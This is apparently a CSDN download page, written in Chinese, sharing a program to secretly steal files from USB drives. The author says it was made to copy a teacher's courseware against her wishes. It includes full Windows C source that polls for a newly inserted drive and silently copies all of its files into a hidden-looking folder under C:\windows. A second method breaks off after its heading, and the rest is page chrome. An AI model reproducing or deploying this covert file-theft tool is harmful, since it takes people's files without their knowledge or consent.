窃取U盘文件的程序 先运行这个程序.然后插入U盘的时候 就会偷偷的把U盘里的文件全部复制到某个文件夹下面 两种方法实现 复制文件方式相当 区别在于对插入U盘的检测方式不同 当初写这个东西 是因为某个老师不允许我们copy她的课件 所以出此下策 -------------------------------------------------------------------------------- 方法一: -------------------------------------------------------------------------------- #include <windows.h> #include <dbt.h> #include <string.h> void CopyFiles(char *); void proc( WIN32_FIND_DATA ,char *); char *loc="C:\\windows\\xhy"; int main( ) { char dir[100]={0,0}; int first, second, p=0; first = GetLogicalDrives( ); CreateDirectory(loc, NULL); while(1) { Sleep(1000); second=GetLogicalDrives( ); if(second>first) { second-=first; while(second>>=1) p++; dir[0] = p+65; strcat(dir, ":\\*"); CopyFiles(dir); return 0; } } } void CopyFiles( char *dir ) { WIN32_FIND_DATA FindFileData; HANDLE hFind = INVALID_HANDLE_VALUE; hFind = FindFirstFile(dir, &FindFileData); if (hFind != INVALID_HANDLE_VALUE) proc(FindFileData, dir); while (FindNextFile(hFind, &FindFileData) != 0) proc(FindFileData, dir); FindClose(hFind); } void proc( WIN32_FIND_DATA FindFileData , char *dir) { char DirSpec[200], path[200]; DWORD stat; strcpy(path, dir); path[strlen(path)-1]='\0'; strcat(path, FindFileData.cFileName); stat = GetFileAttributes(path); if( strcmp(FindFileData.cFileName, ".") && strcmp(FindFileData.cFileName, "..") ) { if( (stat&FILE_ATTRIBUTE_DIRECTORY)==FILE_ATTRIBUTE_DIRECTORY ) { strcpy(DirSpec, dir); DirSpec[strlen(DirSpec)-1]='\0'; strcat(DirSpec, FindFileData.cFileName); strcpy(path, loc); strcat(path, DirSpec+2); strcat(DirSpec, "\\*"); CreateDirectory(path, NULL); CopyFiles(DirSpec); } else { strcpy(path, dir); path[strlen(path)-1]='\0'; strcat(path, FindFileData.cFileName); strcpy(DirSpec, loc); strcat(DirSpec, path+2); CopyFile(path, DirSpec, FALSE); } } } -------------------------------------------------------------------------------- 在Dev C++中编译测试通过 -------------------------------------------------------------------------------- 方法二: --------------------------------------
![application/x-rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![application/x-rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![application/x-rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![rar](https://img-home.csdnimg.cn/images/20210720083646.png)
![doc](https://img-home.csdnimg.cn/images/20210720083327.png)
![gz](https://img-home.csdnimg.cn/images/20210720083447.png)
![rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![application/x-rar](https://img-home.csdnimg.cn/images/20210720083606.png)
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![gz](https://img-home.csdnimg.cn/images/20210720083447.png)
![gz](https://img-home.csdnimg.cn/images/20210720083447.png)
![docx](https://img-home.csdnimg.cn/images/20210720083331.png)
![docx](https://img-home.csdnimg.cn/images/20210720083331.png)
![doc](https://img-home.csdnimg.cn/images/20210720083327.png)
![docx](https://img-home.csdnimg.cn/images/20210720083331.png)
![zip](https://img-home.csdnimg.cn/images/20210720083736.png)
![avatar-default](https://csdnimg.cn/release/downloadcmsfe/public/img/lazyLogo2.1882d7f4.png)
![avatar](https://profile-avatar.csdnimg.cn/5aae13958c82419c9c42cd3306ea6ab6_qq_43934844.jpg!1)
- 粉丝: 181
- 资源: 3万+
我的内容管理 展开
我的资源 快来上传第一个资源
我的收益
登录查看自己的收益我的积分 登录查看自己的积分
我的C币 登录后查看C币余额
我的收藏
我的下载
下载帮助
![voice](https://csdnimg.cn/release/downloadcmsfe/public/img/voice.245cc511.png)
![center-task](https://csdnimg.cn/release/downloadcmsfe/public/img/center-task.c2eda91a.png)
![dialog-icon](https://csdnimg.cn/release/downloadcmsfe/public/img/green-success.6a4acb44.png)